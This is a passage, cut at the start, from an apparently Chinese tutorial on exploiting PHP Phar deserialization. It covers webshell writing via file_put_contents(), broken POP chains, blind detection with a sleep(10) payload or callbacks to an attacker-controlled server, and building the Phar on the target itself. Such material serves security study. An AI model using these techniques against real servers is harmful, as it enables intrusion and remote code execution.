1;)、file_put_contents()写Webshell。POP链断裂魔术方法中的代码逻辑可能因条件判断如if语句而无法执行到危险函数。需要仔细调试每一步的属性值是否满足条件。可以尝试在本地搭建完全相同的环境使用xdebug进行单步调试这是最有效的方法。字符编码或序列化问题序列化字符串中如果包含不可见字符或对象属性类型不匹配可能导致反序列化失败或对象属性为null。确保生成Phar的PHP版本与目标版本一致序列化格式有细微差别。问题3如何在不明确知道POP链的情况下检测漏洞存在排查思路可以使用“盲测”的方法。构造一个Phar文件其metadata中序列化一个包含__destruct()方法的简单类在该方法中执行一个带有延时的命令如sleep(10)。上传并触发。如果请求的响应时间明显延长超过10秒则说明反序列化成功触发并执行了sleep命令证明漏洞存在。也可以让目标服务器向你的可控服务器发起HTTP或DNS请求通过查看日志来确认。独家避坑技巧在编写Phar生成脚本时务必在与目标环境尽可能相同的PHP版本下进行。不同PHP版本对序列化格式的处理尤其是对象属性和私有/保护属性的表示有细微差异这经常是导致利用失败的主要原因。一个稳妥的做法是将生成Phar的脚本放在目标服务器上执行如果能有上传和执行PHP代码的临时权限确保“本地生成本地使用”。